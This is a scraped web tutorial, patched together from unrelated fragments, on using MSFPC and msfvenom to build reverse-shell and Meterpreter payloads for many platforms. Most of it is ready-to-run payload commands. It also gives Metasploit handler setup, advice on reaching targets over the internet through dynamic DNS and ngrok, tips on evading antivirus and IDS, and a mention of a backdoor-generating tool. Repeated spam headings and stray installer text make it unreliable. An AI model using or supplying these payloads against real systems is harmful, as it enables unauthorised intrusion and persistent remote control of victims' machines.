With the help of MSFPC, you can quickly generate the payload based on msfvenom module which is a part of Metasploit Framework. So MSFvenom Payload Creator is a simple wrapper to generate multiple types of payloads like APK(.apk), ASP(.asp), ASPX(.aspx), BASH(.sh), Java(.jsp), Linux(.elf), OSX(.macho), Perl(.pl), PHP(.php), Powershell(.ps1), Python(.py), Tomcat(.war) and Windows(.exe/.dll).
- Install Msfvenom For Mac Installer
- Install Msfvenom For Mac Installer
- Install Msfvenom For Mac High Sierra
- Install Msfvenom For Mac Mojave
The only necessary input from the user should be defining the payload they want by either the platform (e.g. windows), or the file extension they wish the payload to have (e.g. exe).
Generate Undetectable Payload, Backdoor with MsfVenom - FatRat An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll. This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac.
You can even create the mass payloads with the help of “batch” command and to generate the payload for all modules, just use “loop“.
Installation of MSFPC in Kali Linux –
Installation of MSFPC can be done via Git Clone by typing the below command:
Command: git clone https://github.com/g0tmi1k/mpc.git
Or You can even install the above said script via apt-get command which is already available in Kali Linux Rolling.
Command: apt-get install -y msfpc
Step 3: Next, we need dynamic IP for msfvenom and Metasploit to work over the internet, so go to noip.com and sign up. After signing up, Click on Add Host and enter any name for the host. Click on save the host. Step 4: Now Download DUC from the official website or click here. Install the DUC client and sign in to your account. # Install nmap brew install nmap # Install libxml2 brew install libxml2 # Install PostgreSQL brew install postgresql -without-ossp-uuid # ruby 2.1.X brew install homebrew/versions/ruby21 # Initialize the database initdb /usr/local/var/postgres mkdir -p /Library/LaunchAgents. Msfvenom was built by combining two older tools that Metsploit had: msfpayload and msfencode. Msfvenom lets you create and encode custom payloads for your exploits. Based on the additional information you have on the target, you can craft your own payloads to achieve a higher success rate during your penetration test. Browse to the location where you want to install the Metasploit Framework. By default, the framework is installed on the C: Metasploit-framework directory. Click Next to continue. The installation process can take 5-10 minutes to complete. When the installation completes, click the Finish button.
Full Syntax of MSFPC –
Command: msfpc.sh (<DOMAIN/IP>) () (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) ()
Some Examples:
- msfpc.sh windows 192.168.1.10 # Windows & manual IP.
- msfpc.sh elf bind eth0 4444 # Linux, eth0’s IP & manual port.
- msfpc.sh stageless cmd py https # Python, stageless command prompt.
- msfpc.sh verbose loop eth1 # A payload for every type, using eth1’s IP.
- msfpc.sh msf batch wan # All possible Meterpreter payloads, using WAN IP.
- msfpc.sh help verbose # Help screen, with even more information.
Features of MSFPC –


- Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
- Missing <DOMAIN/IP> will default to the IP menu.
- Missing <PORT> will default to 443.
- <CMD> is a standard/native command prompt/terminal to interactive with.
- <MSF> is a custom cross platform shell, gaining the full power of Metasploit.
- Missing <CMD/MSF> will default to <MSF> where possible.
- <CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
- <MSF> payloads are generally much larger than <CMD>, as it comes with more features.
- <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
- <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
- Missing <BIND/REVERSE> will default to <REVERSE>.
- <BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
- <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
- <STAGELESS> is the complete standalone payload. More ‘stable’ than <STAGED>.
- Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
- <STAGED> are ‘better’ in low-bandwidth/high-latency environments.
- <STAGELESS> are seen as ‘stealthier’ when bypassing Anti-Virus protections. <STAGED> may work ‘better’ with IDS/IPS.
- <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
- <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol – e.g. TCP 80.
- <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol – e.g. TCP 443.
- <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to ‘allports’ based on <TYPE>.
- Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
- By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
- <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
- <LOOP> will just create one of each <TYPE>.
- <VERBOSE> will display more information.
So Let’s try to create the payload for windows machine by typing “bash msfpc.sh windows” in your console.
In first step, it will automatically asks you to use the interface(lo, eth0, wan). If you want to use the payload locally like inside VM machines, then go with eth0 i.e. 2nd option and if you want to use this payload for over the WAN network, then the 3rd number is the right option.
Install Msfvenom For Mac Installer
So after defining the IP to the msfpc script, it will automatically creates your payload based on Windows Type and will use the default settings like the PORT is 443 which is default port and the default payload is “windows/meterpreter/reverse_tcp” which we already used in some tutorials while hacking Android or Windows.
If you’ve already know your IP(eth0 or wan) then you can even use the direct command for creating the payload:
Command: msfpc.sh windows 192.168.1.5
The output file will be saved under /root/mpc directory.
For Linux Format – Fully Automated Using Manual Interface and Port
Command: bash msfpc.sh elf bind eth0 4444 verbose
For Python Format – Interactive IP Menu
Command: bash msfpc.sh stageless cmd py tcp
For Loop Mode – Generates one of everything
Command: ./msfpc.sh loop wan
Msfvenom is a Metasploit Standalone Payload Generator which is a replacement of msfpayload and msfencode. Through msfvenom, you can generate any kind of shellcode/payload depending upon the platform/OS you want to hack.
Often one of the most useful abilities of Metasploit is the msfvenom module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation.
For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run “set payload” for the relevant payload used and configure all necessary options (LHOST, LPORT, SRVHOST, SRVPORT etc). Execute and wait for the payload to be run.
For exploitation in local network, fill up your IP address in LHOST but for exploitation over WAN, you need to fill it with your Public IP and make sure that your port must be forwarded or you can also use NGROK tunnel if you’re facing any problem with port forwarding. Ngrok will automatically forwards all traffic to your localhost.
The advantages of msfvenom are:
- One single tool
- Standardized command line options
- Increased speed
Usage of Msfvenom:
msfvenom [options] <var=val>
To list out all options, type “msfvenom -h”
- -p, –payload Payload to use. Specify a ‘-‘ or stdin to use custom payloads
- –payload-options List the payload’s standard options
- -l, –list [type] List a module type. Options are: payloads, encoders, nops, all
- -n, –nopsled Prepend a nopsled of [length] size on to the payload
- -f, –format Output format (use –help-formats for a list)
- –help-formats List available formats
- -e, –encoder The encoder to use
- -a, –arch The architecture to use
- –platform The platform of the payload
- –help-platforms List available platforms
- -s, –space The maximum size of the resulting payload
- –encoder-space The maximum size of the encoded payload (defaults to the -s value)
- -b, –bad-chars The list of characters to avoid example: ‘x00xff’
- -i, –iterations The number of times to encode the payload
- -c, –add-code Specify an additional win32 shellcode file to include
- -x, –template Specify a custom executable file to use as a template
- -k, –keep Preserve the template behavior and inject the payload as a new thread
- -o, –out Save the payload
- -v, –var-name Specify a custom variable name to use for certain output formats
- –smallest Generate the smallest possible payload
- -h, –help Show this message
To list out all payloads, type “msfvenom -l”
For Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > /root/Downloads/exploits/exploit.elf
For Windows:
Install Msfvenom For Mac Installer
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > /root/Downloads/exploits/exploit.exe
For Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > /root/Downloads/exploits/exploit.macho
For PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > /root/Downloads/exploits/exploit.php
For ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > /root/Downloads/exploits/exploit.asp
For JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > /root/Downloads/exploits/exploit.jsp
For WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > /root/Downloads/exploits/exploit.war
For Python:
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > /root/Downloads/exploits/exploit.py

Install Msfvenom For Mac High Sierra
For Bash:
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > /root/Downloads/exploits/exploit.sh
For Perl:
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > /root/Downloads/exploits/exploit.pl
Install Msfvenom For Mac Mojave
For all shellcode formats, type “msfvenom –help-formats” in your terminal.
